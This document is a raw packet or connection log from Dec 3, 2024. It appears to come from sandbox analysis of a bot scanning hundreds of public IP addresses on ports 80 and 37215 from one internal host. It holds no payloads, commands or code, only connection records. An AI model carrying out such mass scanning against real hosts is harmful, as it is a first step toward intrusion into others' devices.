Dec 3, 2024 21:01:58.135555983 CET	20129	80	192.168.2.23	205.124.138.218
Dec 3, 2024 21:01:58.135561943 CET	20129	80	192.168.2.23	198.105.135.230
Dec 3, 2024 21:01:58.135564089 CET	20129	80	192.168.2.23	155.121.161.139
Dec 3, 2024 21:01:58.135574102 CET	20129	80	192.168.2.23	134.32.209.39
Dec 3, 2024 21:01:58.135581017 CET	20129	80	192.168.2.23	188.125.255.116
Dec 3, 2024 21:01:58.135586977 CET	20129	80	192.168.2.23	19.169.11.35
Dec 3, 2024 21:01:58.135593891 CET	20129	80	192.168.2.23	152.207.157.205
Dec 3, 2024 21:01:58.135602951 CET	20129	80	192.168.2.23	102.0.55.189
Dec 3, 2024 21:01:58.135613918 CET	20129	80	192.168.2.23	136.33.242.222
Dec 3, 2024 21:01:58.135618925 CET	20129	80	192.168.2.23	160.46.8.75
Dec 3, 2024 21:01:58.135620117 CET	20129	80	192.168.2.23	145.19.119.127
Dec 3, 2024 21:01:58.135620117 CET	20129	80	192.168.2.23	113.219.167.242
Dec 3, 2024 21:01:58.135627031 CET	20129	80	192.168.2.23	122.98.9.77
Dec 3, 2024 21:01:58.135642052 CET	20129	80	192.168.2.23	163.22.25.193
Dec 3, 2024 21:01:58.135642052 CET	20129	80	192.168.2.23	135.231.176.124
Dec 3, 2024 21:01:58.135643959 CET	20129	80	192.168.2.23	79.180.91.35
Dec 3, 2024 21:01:58.135656118 CET	20129	80	192.168.2.23	191.123.54.159
Dec 3, 2024 21:01:58.135660887 CET	20129	80	192.168.2.23	64.14.60.93
Dec 3, 2024 21:01:58.135663033 CET	20129	80	192.168.2.23	47.119.156.77
Dec 3, 2024 21:01:58.135663033 CET	20129	80	192.168.2.23	151.252.237.181
Dec 3, 2024 21:01:58.135678053 CET	20129	80	192.168.2.23	220.109.215.35
Dec 3, 2024 21:01:58.135679960 CET	20129	80	192.168.2.23	184.117.153.203
Dec 3, 2024 21:01:58.135683060 CET	20129	80	192.168.2.23	48.168.75.135
Dec 3, 2024 21:01:58.135684967 CET	20129	80	192.168.2.23	5.70.249.146
Dec 3, 2024 21:01:58.135689020 CET	20129	80	192.168.2.23	61.144.188.81
Dec 3, 2024 21:01:58.135689020 CET	20129	80	192.168.2.23	122.66.48.54
Dec 3, 2024 21:01:58.135698080 CET	20129	80	192.168.2.23	36.183.40.167
Dec 3, 2024 21:01:58.135709047 CET	20129	80	192.168.2.23	187.91.254.80
Dec 3, 2024 21:01:58.135710955 CET	20129	80	192.168.2.23	129.80.126.133
Dec 3, 2024 21:01:58.135714054 CET	20129	80	192.168.2.23	143.52.93.129
Dec 3, 2024 21:01:58.135714054 CET	20129	80	192.168.2.23	120.116.111.140
Dec 3, 2024 21:01:58.135715961 CET	20129	80	192.168.2.23	71.244.64.49
Dec 3, 2024 21:01:58.135725021 CET	20129	80	192.168.2.23	202.15.234.180
Dec 3, 2024 21:01:58.135726929 CET	20129	80	192.168.2.23	47.5.105.81
Dec 3, 2024 21:01:58.135730028 CET	20129	80	192.168.2.23	69.98.251.125
Dec 3, 2024 21:01:58.135732889 CET	20129	80	192.168.2.23	58.118.171.234
Dec 3, 2024 21:01:58.135742903 CET	20129	80	192.168.2.23	9.141.71.233
Dec 3, 2024 21:01:58.135750055 CET	20129	80	192.168.2.23	207.173.78.131
Dec 3, 2024 21:01:58.135756969 CET	20129	80	192.168.2.23	197.16.4.111
Dec 3, 2024 21:01:58.135787010 CET	20129	80	192.168.2.23	176.67.175.234
Dec 3, 2024 21:01:58.135787010 CET	20129	80	192.168.2.23	172.162.165.222
Dec 3, 2024 21:01:58.135792971 CET	20129	80	192.168.2.23	191.239.153.81
Dec 3, 2024 21:01:58.135793924 CET	20129	80	192.168.2.23	181.83.49.192
Dec 3, 2024 21:01:58.135793924 CET	20129	80	192.168.2.23	170.138.2.67
Dec 3, 2024 21:01:58.135802984 CET	20129	80	192.168.2.23	139.133.192.105
Dec 3, 2024 21:01:58.135802984 CET	20129	80	192.168.2.23	74.205.181.166
Dec 3, 2024 21:01:58.135802984 CET	20129	80	192.168.2.23	142.253.5.99
Dec 3, 2024 21:01:58.135802031 CET	20129	80	192.168.2.23	89.254.198.126
Dec 3, 2024 21:01:58.135802031 CET	20129	80	192.168.2.23	172.135.4.245
Dec 3, 2024 21:01:58.135802031 CET	20129	80	192.168.2.23	117.47.26.188
Dec 3, 2024 21:01:58.135806084 CET	20129	80	192.168.2.23	198.248.55.171
Dec 3, 2024 21:01:58.135811090 CET	20129	80	192.168.2.23	78.171.53.14
Dec 3, 2024 21:01:58.135813951 CET	20129	80	192.168.2.23	171.188.36.84
Dec 3, 2024 21:01:58.135817051 CET	20129	80	192.168.2.23	1.144.164.223
Dec 3, 2024 21:01:58.135813951 CET	20129	80	192.168.2.23	89.50.3.187
Dec 3, 2024 21:01:58.135819912 CET	20129	80	192.168.2.23	43.71.97.165
Dec 3, 2024 21:01:58.135826111 CET	20129	80	192.168.2.23	219.167.87.148
Dec 3, 2024 21:01:58.135828018 CET	20129	80	192.168.2.23	103.123.60.146
Dec 3, 2024 21:01:58.135826111 CET	20129	80	192.168.2.23	54.232.247.126
Dec 3, 2024 21:01:58.135831118 CET	20129	80	192.168.2.23	157.184.213.153
Dec 3, 2024 21:01:58.135831118 CET	20129	80	192.168.2.23	217.34.26.173
Dec 3, 2024 21:01:58.135831118 CET	20129	80	192.168.2.23	144.56.177.184
Dec 3, 2024 21:01:58.135831118 CET	20129	80	192.168.2.23	181.57.251.147
Dec 3, 2024 21:01:58.135834932 CET	20129	80	192.168.2.23	57.100.135.87
Dec 3, 2024 21:01:58.135835886 CET	20129	80	192.168.2.23	191.125.163.133
Dec 3, 2024 21:01:58.135835886 CET	20129	80	192.168.2.23	52.73.155.102
Dec 3, 2024 21:01:58.135838985 CET	20129	80	192.168.2.23	101.37.163.139
Dec 3, 2024 21:01:58.135838985 CET	20129	80	192.168.2.23	204.105.139.245
Dec 3, 2024 21:01:58.135843039 CET	20129	80	192.168.2.23	169.211.206.201
Dec 3, 2024 21:01:58.135843039 CET	20129	80	192.168.2.23	93.227.130.208
Dec 3, 2024 21:01:58.135858059 CET	20129	80	192.168.2.23	178.33.120.196
Dec 3, 2024 21:01:58.135862112 CET	20129	80	192.168.2.23	141.202.105.9
Dec 3, 2024 21:01:58.135867119 CET	20129	80	192.168.2.23	31.116.146.169
Dec 3, 2024 21:01:58.135875940 CET	20129	80	192.168.2.23	193.101.153.59
Dec 3, 2024 21:01:58.135881901 CET	20129	80	192.168.2.23	148.91.226.109
Dec 3, 2024 21:01:58.135884047 CET	20129	80	192.168.2.23	111.10.146.114
Dec 3, 2024 21:01:58.135910988 CET	20129	80	192.168.2.23	42.194.34.163
Dec 3, 2024 21:01:58.135911942 CET	20129	80	192.168.2.23	37.150.218.82
Dec 3, 2024 21:01:58.135911942 CET	20129	80	192.168.2.23	2.67.172.17
Dec 3, 2024 21:01:58.135914087 CET	20129	80	192.168.2.23	27.34.188.254
Dec 3, 2024 21:01:58.135914087 CET	20129	80	192.168.2.23	89.140.48.22
Dec 3, 2024 21:01:58.135914087 CET	20129	80	192.168.2.23	165.50.104.178
Dec 3, 2024 21:01:58.135921001 CET	20129	80	192.168.2.23	105.75.70.37
Dec 3, 2024 21:01:58.135921955 CET	20129	80	192.168.2.23	179.226.111.76
Dec 3, 2024 21:01:58.135924101 CET	20129	80	192.168.2.23	212.177.40.50
Dec 3, 2024 21:01:58.135924101 CET	20129	80	192.168.2.23	222.179.209.174
Dec 3, 2024 21:01:58.135924101 CET	20129	80	192.168.2.23	49.81.120.30
Dec 3, 2024 21:01:58.135925055 CET	20129	80	192.168.2.23	175.151.9.220
Dec 3, 2024 21:01:58.135926008 CET	20129	80	192.168.2.23	183.191.234.160
Dec 3, 2024 21:01:58.135935068 CET	20129	80	192.168.2.23	95.138.65.249
Dec 3, 2024 21:01:58.135936975 CET	20129	80	192.168.2.23	141.30.37.9
Dec 3, 2024 21:01:58.135940075 CET	20129	80	192.168.2.23	91.52.6.103
Dec 3, 2024 21:01:58.135950089 CET	20129	80	192.168.2.23	116.82.140.161
Dec 3, 2024 21:01:58.135951042 CET	20129	80	192.168.2.23	112.37.158.185
Dec 3, 2024 21:01:58.135951042 CET	20129	80	192.168.2.23	134.121.159.152
Dec 3, 2024 21:01:58.135957003 CET	20129	80	192.168.2.23	108.57.41.29
Dec 3, 2024 21:01:58.135958910 CET	20129	80	192.168.2.23	169.137.94.254
Dec 3, 2024 21:01:58.135958910 CET	20129	80	192.168.2.23	130.203.147.254
Dec 3, 2024 21:01:58.135958910 CET	20129	80	192.168.2.23	124.184.102.26
Dec 3, 2024 21:01:58.135963917 CET	20129	80	192.168.2.23	169.53.245.217
Dec 3, 2024 21:01:58.135963917 CET	20129	80	192.168.2.23	97.225.99.66
Dec 3, 2024 21:01:58.135967016 CET	20129	80	192.168.2.23	49.26.220.161
Dec 3, 2024 21:01:58.135970116 CET	20129	80	192.168.2.23	154.10.24.163
Dec 3, 2024 21:01:58.135971069 CET	20129	80	192.168.2.23	74.248.29.146
Dec 3, 2024 21:01:58.135981083 CET	20129	80	192.168.2.23	163.104.107.183
Dec 3, 2024 21:01:58.135988951 CET	20129	80	192.168.2.23	170.127.108.70
Dec 3, 2024 21:01:58.135996103 CET	20129	80	192.168.2.23	220.228.58.89
Dec 3, 2024 21:01:58.135996103 CET	20129	80	192.168.2.23	144.99.114.55
Dec 3, 2024 21:01:58.136007071 CET	20129	80	192.168.2.23	201.196.13.201
Dec 3, 2024 21:01:58.136025906 CET	20129	80	192.168.2.23	27.80.90.35
Dec 3, 2024 21:01:58.136027098 CET	20129	80	192.168.2.23	41.229.72.214
Dec 3, 2024 21:01:58.136027098 CET	20129	80	192.168.2.23	187.44.50.204
Dec 3, 2024 21:01:58.136034966 CET	20129	80	192.168.2.23	54.67.96.76
Dec 3, 2024 21:01:58.136035919 CET	20129	80	192.168.2.23	144.138.210.87
Dec 3, 2024 21:01:58.136038065 CET	20129	80	192.168.2.23	180.108.114.117
Dec 3, 2024 21:01:58.136042118 CET	20129	80	192.168.2.23	195.198.223.73
Dec 3, 2024 21:01:58.136042118 CET	20129	80	192.168.2.23	165.214.110.167
Dec 3, 2024 21:01:58.136044979 CET	20129	80	192.168.2.23	17.145.68.118
Dec 3, 2024 21:01:58.136045933 CET	20129	80	192.168.2.23	53.110.225.125
Dec 3, 2024 21:01:58.136045933 CET	20129	80	192.168.2.23	151.241.65.193
Dec 3, 2024 21:01:58.136046886 CET	20129	80	192.168.2.23	40.193.207.134
Dec 3, 2024 21:01:58.136046886 CET	20129	80	192.168.2.23	78.158.102.114
Dec 3, 2024 21:01:58.136056900 CET	20129	80	192.168.2.23	156.168.32.214
Dec 3, 2024 21:01:58.136059999 CET	20129	80	192.168.2.23	94.32.107.4
Dec 3, 2024 21:01:58.136070967 CET	20129	80	192.168.2.23	20.4.76.14
Dec 3, 2024 21:01:58.136074066 CET	20129	80	192.168.2.23	61.154.220.219
Dec 3, 2024 21:01:58.136084080 CET	20129	80	192.168.2.23	181.249.186.177
Dec 3, 2024 21:01:58.136096954 CET	20129	80	192.168.2.23	96.140.47.49
Dec 3, 2024 21:01:58.136097908 CET	20129	80	192.168.2.23	78.242.205.87
Dec 3, 2024 21:01:58.136099100 CET	20129	80	192.168.2.23	177.29.81.63
Dec 3, 2024 21:01:58.136099100 CET	20129	80	192.168.2.23	103.114.67.57
Dec 3, 2024 21:01:58.136101961 CET	20129	80	192.168.2.23	183.175.169.165
Dec 3, 2024 21:01:58.136109114 CET	20129	80	192.168.2.23	184.230.116.122
Dec 3, 2024 21:01:58.136113882 CET	20129	80	192.168.2.23	23.178.138.116
Dec 3, 2024 21:01:58.136115074 CET	20129	80	192.168.2.23	139.83.235.154
Dec 3, 2024 21:01:58.136117935 CET	20129	80	192.168.2.23	94.114.95.130
Dec 3, 2024 21:01:58.136121035 CET	20129	80	192.168.2.23	140.197.70.210
Dec 3, 2024 21:01:58.136121035 CET	20129	80	192.168.2.23	89.60.48.15
Dec 3, 2024 21:01:58.136122942 CET	20129	80	192.168.2.23	172.8.240.233
Dec 3, 2024 21:01:58.136135101 CET	20129	80	192.168.2.23	74.53.126.123
Dec 3, 2024 21:01:58.136140108 CET	20129	80	192.168.2.23	205.72.250.28
Dec 3, 2024 21:01:58.136146069 CET	20129	80	192.168.2.23	40.132.255.160
Dec 3, 2024 21:01:58.136146069 CET	20129	80	192.168.2.23	129.32.44.117
Dec 3, 2024 21:01:58.136148930 CET	20129	80	192.168.2.23	85.251.220.47
Dec 3, 2024 21:01:58.136149883 CET	20129	80	192.168.2.23	200.211.231.241
Dec 3, 2024 21:01:58.136156082 CET	20129	80	192.168.2.23	35.123.72.204
Dec 3, 2024 21:01:58.136162043 CET	20129	80	192.168.2.23	37.47.52.180
Dec 3, 2024 21:01:58.136174917 CET	20129	80	192.168.2.23	192.226.33.64
Dec 3, 2024 21:01:58.136177063 CET	20129	80	192.168.2.23	52.127.129.250
Dec 3, 2024 21:01:58.136183977 CET	20129	80	192.168.2.23	168.233.186.130
Dec 3, 2024 21:01:58.136183977 CET	20129	80	192.168.2.23	57.143.30.220
Dec 3, 2024 21:01:58.136189938 CET	20129	80	192.168.2.23	57.148.139.85
Dec 3, 2024 21:01:58.136189938 CET	20129	80	192.168.2.23	8.96.176.96
Dec 3, 2024 21:01:58.136202097 CET	20129	80	192.168.2.23	152.109.199.53
Dec 3, 2024 21:01:58.136204958 CET	20129	80	192.168.2.23	59.73.44.39
Dec 3, 2024 21:01:58.136212111 CET	20129	80	192.168.2.23	166.205.174.27
Dec 3, 2024 21:01:58.136213064 CET	20129	80	192.168.2.23	61.157.213.100
Dec 3, 2024 21:01:58.136214972 CET	20129	80	192.168.2.23	32.40.72.89
Dec 3, 2024 21:01:58.136220932 CET	20129	80	192.168.2.23	113.4.239.127
Dec 3, 2024 21:01:58.136233091 CET	20129	80	192.168.2.23	24.46.51.14
Dec 3, 2024 21:01:58.136240005 CET	20129	80	192.168.2.23	34.129.161.217
Dec 3, 2024 21:01:58.136245012 CET	20129	80	192.168.2.23	182.7.169.15
Dec 3, 2024 21:01:58.136245012 CET	20129	80	192.168.2.23	24.209.159.16
Dec 3, 2024 21:01:58.136254072 CET	20129	80	192.168.2.23	47.188.199.30
Dec 3, 2024 21:01:58.136255980 CET	20129	80	192.168.2.23	47.138.142.34
Dec 3, 2024 21:01:58.136269093 CET	20129	80	192.168.2.23	126.215.173.197
Dec 3, 2024 21:01:58.136272907 CET	20129	80	192.168.2.23	177.171.237.130
Dec 3, 2024 21:01:58.136276007 CET	20129	80	192.168.2.23	60.145.123.82
Dec 3, 2024 21:01:58.136292934 CET	20129	80	192.168.2.23	79.250.66.26
Dec 3, 2024 21:01:58.136292934 CET	20129	80	192.168.2.23	117.59.235.75
Dec 3, 2024 21:01:58.136292934 CET	20129	80	192.168.2.23	150.11.206.88
Dec 3, 2024 21:01:58.136308908 CET	20129	80	192.168.2.23	34.42.187.214
Dec 3, 2024 21:01:58.136310101 CET	20129	80	192.168.2.23	109.69.19.146
Dec 3, 2024 21:01:58.136320114 CET	20129	80	192.168.2.23	161.189.108.218
Dec 3, 2024 21:01:58.136324883 CET	20129	80	192.168.2.23	104.123.71.154
Dec 3, 2024 21:01:58.136324883 CET	20129	80	192.168.2.23	189.124.127.50
Dec 3, 2024 21:01:58.136337996 CET	20129	80	192.168.2.23	48.161.190.202
Dec 3, 2024 21:01:58.136337996 CET	20129	80	192.168.2.23	217.246.186.102
Dec 3, 2024 21:01:58.136344910 CET	20129	80	192.168.2.23	96.27.64.26
Dec 3, 2024 21:01:58.136343956 CET	20129	80	192.168.2.23	137.146.104.75
Dec 3, 2024 21:01:58.136349916 CET	20129	80	192.168.2.23	159.53.220.29
Dec 3, 2024 21:01:58.136354923 CET	20129	80	192.168.2.23	80.75.253.97
Dec 3, 2024 21:01:58.136357069 CET	20129	80	192.168.2.23	150.75.84.93
Dec 3, 2024 21:01:58.136363983 CET	20129	80	192.168.2.23	17.104.167.92
Dec 3, 2024 21:01:58.136375904 CET	20129	80	192.168.2.23	65.136.53.75
Dec 3, 2024 21:01:58.136378050 CET	20129	80	192.168.2.23	120.132.69.11
Dec 3, 2024 21:01:58.136390924 CET	20129	80	192.168.2.23	62.80.123.63
Dec 3, 2024 21:01:58.136394024 CET	20129	80	192.168.2.23	42.175.252.62
Dec 3, 2024 21:01:58.136399984 CET	20129	80	192.168.2.23	129.16.244.162
Dec 3, 2024 21:01:58.136406898 CET	20129	80	192.168.2.23	183.125.245.178
Dec 3, 2024 21:01:58.136411905 CET	20129	80	192.168.2.23	119.252.44.154
Dec 3, 2024 21:01:58.136415005 CET	20129	80	192.168.2.23	116.96.144.20
Dec 3, 2024 21:01:58.136418104 CET	20129	80	192.168.2.23	140.40.175.133
Dec 3, 2024 21:01:58.136429071 CET	20129	80	192.168.2.23	104.130.30.253
Dec 3, 2024 21:01:58.136430025 CET	20129	80	192.168.2.23	159.93.173.43
Dec 3, 2024 21:01:58.136436939 CET	20129	80	192.168.2.23	92.204.124.158
Dec 3, 2024 21:01:58.136445045 CET	20129	80	192.168.2.23	205.100.247.209
Dec 3, 2024 21:01:58.136455059 CET	20129	80	192.168.2.23	189.191.213.7
Dec 3, 2024 21:01:58.136455059 CET	20129	80	192.168.2.23	35.229.179.133
Dec 3, 2024 21:01:58.136455059 CET	20129	80	192.168.2.23	100.63.231.12
Dec 3, 2024 21:01:58.136473894 CET	20129	80	192.168.2.23	85.80.233.184
Dec 3, 2024 21:01:58.136475086 CET	20129	80	192.168.2.23	161.193.139.1
Dec 3, 2024 21:01:58.136475086 CET	20129	80	192.168.2.23	108.84.245.101
Dec 3, 2024 21:01:58.136477947 CET	20129	80	192.168.2.23	170.43.142.24
Dec 3, 2024 21:01:58.136482000 CET	20129	80	192.168.2.23	152.70.37.91
Dec 3, 2024 21:01:58.136492014 CET	20129	80	192.168.2.23	199.245.40.206
Dec 3, 2024 21:01:58.136501074 CET	20129	80	192.168.2.23	89.156.90.114
Dec 3, 2024 21:01:58.136501074 CET	20129	80	192.168.2.23	149.21.212.118
Dec 3, 2024 21:01:58.136504889 CET	20129	80	192.168.2.23	197.139.122.3
Dec 3, 2024 21:01:58.136509895 CET	20129	80	192.168.2.23	86.251.33.240
Dec 3, 2024 21:01:58.136529922 CET	20129	80	192.168.2.23	200.192.171.161
Dec 3, 2024 21:01:58.136531115 CET	20129	80	192.168.2.23	216.99.170.1
Dec 3, 2024 21:01:58.136533976 CET	20129	80	192.168.2.23	128.103.160.77
Dec 3, 2024 21:01:58.136534929 CET	20129	80	192.168.2.23	23.161.25.194
Dec 3, 2024 21:01:58.136550903 CET	20129	80	192.168.2.23	113.242.51.210
Dec 3, 2024 21:01:58.136554003 CET	20129	80	192.168.2.23	72.46.108.45
Dec 3, 2024 21:01:58.136554956 CET	20129	80	192.168.2.23	211.92.2.241
Dec 3, 2024 21:01:58.136555910 CET	20129	80	192.168.2.23	151.157.36.244
Dec 3, 2024 21:01:58.136559010 CET	20129	80	192.168.2.23	108.175.55.46
Dec 3, 2024 21:01:58.136571884 CET	20129	80	192.168.2.23	116.104.144.13
Dec 3, 2024 21:01:58.136574030 CET	20129	80	192.168.2.23	117.169.65.197
Dec 3, 2024 21:01:58.136574984 CET	20129	80	192.168.2.23	164.252.254.210
Dec 3, 2024 21:01:58.136574984 CET	20129	80	192.168.2.23	27.144.173.170
Dec 3, 2024 21:01:58.136579990 CET	20129	80	192.168.2.23	60.212.178.217
Dec 3, 2024 21:01:58.136580944 CET	20129	80	192.168.2.23	106.196.242.14
Dec 3, 2024 21:01:58.136585951 CET	20129	80	192.168.2.23	51.25.153.90
Dec 3, 2024 21:01:58.136600018 CET	20129	80	192.168.2.23	41.162.30.231
Dec 3, 2024 21:01:58.136603117 CET	20129	80	192.168.2.23	130.75.31.254
Dec 3, 2024 21:01:58.136604071 CET	20129	80	192.168.2.23	220.202.137.40
Dec 3, 2024 21:01:58.136605024 CET	20129	80	192.168.2.23	125.109.46.172
Dec 3, 2024 21:01:58.136614084 CET	20129	80	192.168.2.23	94.153.249.213
Dec 3, 2024 21:01:58.136625051 CET	20129	80	192.168.2.23	49.203.198.73
Dec 3, 2024 21:01:58.136626959 CET	20129	80	192.168.2.23	179.239.143.2
Dec 3, 2024 21:01:58.136629105 CET	20129	80	192.168.2.23	133.214.246.224
Dec 3, 2024 21:01:58.136629105 CET	20129	80	192.168.2.23	70.34.104.233
Dec 3, 2024 21:01:58.136629105 CET	20129	80	192.168.2.23	148.82.197.57
Dec 3, 2024 21:01:58.136634111 CET	20129	80	192.168.2.23	42.139.190.178
Dec 3, 2024 21:01:58.136639118 CET	20129	80	192.168.2.23	204.58.169.179
Dec 3, 2024 21:01:58.136640072 CET	20129	80	192.168.2.23	116.123.85.251
Dec 3, 2024 21:01:58.136640072 CET	20129	80	192.168.2.23	81.22.149.202
Dec 3, 2024 21:01:58.136640072 CET	20129	80	192.168.2.23	177.2.65.180
Dec 3, 2024 21:01:58.136652946 CET	20129	80	192.168.2.23	157.205.97.40
Dec 3, 2024 21:01:58.136660099 CET	20129	80	192.168.2.23	209.108.162.157
Dec 3, 2024 21:01:58.136662006 CET	20129	80	192.168.2.23	108.102.213.103
Dec 3, 2024 21:01:58.136673927 CET	20129	80	192.168.2.23	99.162.249.49
Dec 3, 2024 21:01:58.136677027 CET	20129	80	192.168.2.23	101.6.68.63
Dec 3, 2024 21:01:58.136681080 CET	20129	80	192.168.2.23	112.247.199.196
Dec 3, 2024 21:01:58.136681080 CET	20129	80	192.168.2.23	160.20.114.255
Dec 3, 2024 21:01:58.136683941 CET	20129	80	192.168.2.23	85.126.71.40
Dec 3, 2024 21:01:58.136684895 CET	20129	80	192.168.2.23	163.228.216.165
Dec 3, 2024 21:01:58.136684895 CET	20129	80	192.168.2.23	109.233.192.102
Dec 3, 2024 21:01:58.136687994 CET	20129	80	192.168.2.23	201.209.66.129
Dec 3, 2024 21:01:58.136701107 CET	20129	80	192.168.2.23	217.55.7.27
Dec 3, 2024 21:01:58.136704922 CET	20129	80	192.168.2.23	52.200.249.10
Dec 3, 2024 21:01:58.136713982 CET	20129	80	192.168.2.23	115.113.248.71
Dec 3, 2024 21:01:58.136727095 CET	20129	80	192.168.2.23	192.183.98.32
Dec 3, 2024 21:01:58.136729002 CET	20129	80	192.168.2.23	202.231.130.191
Dec 3, 2024 21:01:58.136730909 CET	20129	80	192.168.2.23	114.228.197.2
Dec 3, 2024 21:01:58.136745930 CET	20129	80	192.168.2.23	86.250.92.31
Dec 3, 2024 21:01:58.136745930 CET	20129	80	192.168.2.23	108.212.161.163
Dec 3, 2024 21:01:58.136746883 CET	20129	80	192.168.2.23	204.75.34.180
Dec 3, 2024 21:01:58.136754036 CET	20129	80	192.168.2.23	52.149.206.144
Dec 3, 2024 21:01:58.136758089 CET	20129	80	192.168.2.23	206.239.154.222
Dec 3, 2024 21:01:58.136768103 CET	20129	80	192.168.2.23	37.220.110.14
Dec 3, 2024 21:01:58.136774063 CET	20129	80	192.168.2.23	119.168.0.132
Dec 3, 2024 21:01:58.136778116 CET	20129	80	192.168.2.23	172.253.38.230
Dec 3, 2024 21:01:58.136778116 CET	20129	80	192.168.2.23	90.238.7.122
Dec 3, 2024 21:01:58.136778116 CET	20129	80	192.168.2.23	165.60.48.37
Dec 3, 2024 21:01:58.136784077 CET	20129	80	192.168.2.23	14.153.63.226
Dec 3, 2024 21:01:58.136799097 CET	20129	80	192.168.2.23	155.237.81.113
Dec 3, 2024 21:01:58.136799097 CET	20129	80	192.168.2.23	118.78.73.88
Dec 3, 2024 21:01:58.136804104 CET	20129	80	192.168.2.23	152.142.202.114
Dec 3, 2024 21:01:58.136806965 CET	20129	80	192.168.2.23	9.57.109.14
Dec 3, 2024 21:01:58.136810064 CET	20129	80	192.168.2.23	31.169.190.110
Dec 3, 2024 21:01:58.136811972 CET	20129	80	192.168.2.23	200.180.218.234
Dec 3, 2024 21:01:58.136823893 CET	20129	80	192.168.2.23	14.220.156.186
Dec 3, 2024 21:01:58.136826038 CET	20129	80	192.168.2.23	100.60.160.44
Dec 3, 2024 21:01:58.136826038 CET	20129	80	192.168.2.23	201.233.113.200
Dec 3, 2024 21:01:58.136833906 CET	20129	80	192.168.2.23	186.132.50.154
Dec 3, 2024 21:01:58.136833906 CET	20129	80	192.168.2.23	220.205.36.159
Dec 3, 2024 21:01:58.152124882 CET	18849	37215	192.168.2.23	156.224.8.58
Dec 3, 2024 21:01:58.152129889 CET	18849	37215	192.168.2.23	156.9.6.248
Dec 3, 2024 21:01:58.152132034 CET	18849	37215	192.168.2.23	197.180.109.25
Dec 3, 2024 21:01:58.152148008 CET	18849	37215	192.168.2.23	197.248.155.234
Dec 3, 2024 21:01:58.152151108 CET	18849	37215	192.168.2.23	197.198.152.84
Dec 3, 2024 21:01:58.152153969 CET	18849	37215	192.168.2.23	41.23.185.252
Dec 3, 2024 21:01:58.152163982 CET	18849	37215	192.168.2.23	156.164.131.243
Dec 3, 2024 21:01:58.152170897 CET	18849	37215	192.168.2.23	41.124.108.62
Dec 3, 2024 21:01:58.152174950 CET	18849	37215	192.168.2.23	156.163.64.114
Dec 3, 2024 21:01:58.152188063 CET	18849	37215	192.168.2.23	197.234.204.251
Dec 3, 2024 21:01:58.152188063 CET	18849	37215	192.168.2.23	197.228.19.201
Dec 3, 2024 21:01:58.152196884 CET	18849	37215	192.168.2.23	197.224.206.48
Dec 3, 2024 21:01:58.152206898 CET	18849	37215	192.168.2.23	41.112.29.136
Dec 3, 2024 21:01:58.152216911 CET	18849	37215	192.168.2.23	197.250.227.29
Dec 3, 2024 21:01:58.152219057 CET	18849	37215	192.168.2.23	156.37.126.41
Dec 3, 2024 21:01:58.152240992 CET	18849	37215	192.168.2.23	41.171.41.71
Dec 3, 2024 21:01:58.152242899 CET	18849	37215	192.168.2.23	41.154.105.113
Dec 3, 2024 21:01:58.152256012 CET	18849	37215	192.168.2.23	156.175.194.15
Dec 3, 2024 21:01:58.152256012 CET	18849	37215	192.168.2.23	156.176.215.185
Dec 3, 2024 21:01:58.152260065 CET	18849	37215	192.168.2.23	41.9.168.92
Dec 3, 2024 21:01:58.152266979 CET	18849	37215	192.168.2.23	197.148.104.113
Dec 3, 2024 21:01:58.152283907 CET	18849	37215	192.168.2.23	197.163.57.122
Dec 3, 2024 21:01:58.152283907 CET	18849	37215	192.168.2.23	41.233.57.244
Dec 3, 2024 21:01:58.152292013 CET	18849	37215	192.168.2.23	197.69.80.21
Dec 3, 2024 21:01:58.152307034 CET	18849	37215	192.168.2.23	41.252.117.237
Dec 3, 2024 21:01:58.152307987 CET	18849	37215	192.168.2.23	41.149.23.250
Dec 3, 2024 21:01:58.152308941 CET	18849	37215	192.168.2.23	197.38.86.129
Dec 3, 2024 21:01:58.152319908 CET	18849	37215	192.168.2.23	156.205.135.108
Dec 3, 2024 21:01:58.152328014 CET	18849	37215	192.168.2.23	197.160.162.193
Dec 3, 2024 21:01:58.152328968 CET	18849	37215	192.168.2.23	197.242.237.21
Dec 3, 2024 21:01:58.152340889 CET	18849	37215	192.168.2.23	156.244.137.163
Dec 3, 2024 21:01:58.152344942 CET	18849	37215	192.168.2.23	197.50.222.56
Dec 3, 2024 21:01:58.152374029 CET	18849	37215	192.168.2.23	41.85.144.244
Dec 3, 2024 21:01:58.152374983 CET	18849	37215	192.168.2.23	41.217.110.70
Dec 3, 2024 21:01:58.152376890 CET	18849	37215	192.168.2.23	41.46.146.19
Dec 3, 2024 21:01:58.152379036 CET	18849	37215	192.168.2.23	197.3.94.5
Dec 3, 2024 21:01:58.152383089 CET	18849	37215	192.168.2.23	197.24.177.128
Dec 3, 2024 21:01:58.152383089 CET	18849	37215	192.168.2.23	197.23.51.23
Dec 3, 2024 21:01:58.152386904 CET	18849	37215	192.168.2.23	156.206.228.59
Dec 3, 2024 21:01:58.152398109 CET	18849	37215	192.168.2.23	41.68.242.122
Dec 3, 2024 21:01:58.152398109 CET	18849	37215	192.168.2.23	41.108.115.211
Dec 3, 2024 21:01:58.152405977 CET	18849	37215	192.168.2.23	197.132.83.72
Dec 3, 2024 21:01:58.152420998 CET	18849	37215	192.168.2.23	197.35.117.44
Dec 3, 2024 21:01:58.152426958 CET	18849	37215	192.168.2.23	197.207.85.182
Dec 3, 2024 21:01:58.152437925 CET	18849	37215	192.168.2.23	156.16.14.9
Dec 3, 2024 21:01:58.152443886 CET	18849	37215	192.168.2.23	41.153.137.106
Dec 3, 2024 21:01:58.152446985 CET	18849	37215	192.168.2.23	41.112.34.236
Dec 3, 2024 21:01:58.152461052 CET	18849	37215	192.168.2.23	41.179.184.20
Dec 3, 2024 21:01:58.152461052 CET	18849	37215	192.168.2.23	156.248.105.246
Dec 3, 2024 21:01:58.152468920 CET	18849	37215	192.168.2.23	41.49.110.54
Dec 3, 2024 21:01:58.152472019 CET	18849	37215	192.168.2.23	41.90.167.3
Dec 3, 2024 21:01:58.152483940 CET	18849	37215	192.168.2.23	197.173.140.40
Dec 3, 2024 21:01:58.152487993 CET	18849	37215	192.168.2.23	197.115.47.88
Dec 3, 2024 21:01:58.152487993 CET	18849	37215	192.168.2.23	197.106.145.5
Dec 3, 2024 21:01:58.152494907 CET	18849	37215	192.168.2.23	156.147.220.109
Dec 3, 2024 21:01:58.152503967 CET	18849	37215	192.168.2.23	197.17.55.69
Dec 3, 2024 21:01:58.152507067 CET	18849	37215	192.168.2.23	41.38.32.245
Dec 3, 2024 21:01:58.152522087 CET	18849	37215	192.168.2.23	41.22.75.95
Dec 3, 2024 21:01:58.152522087 CET	18849	37215	192.168.2.23	41.185.15.24
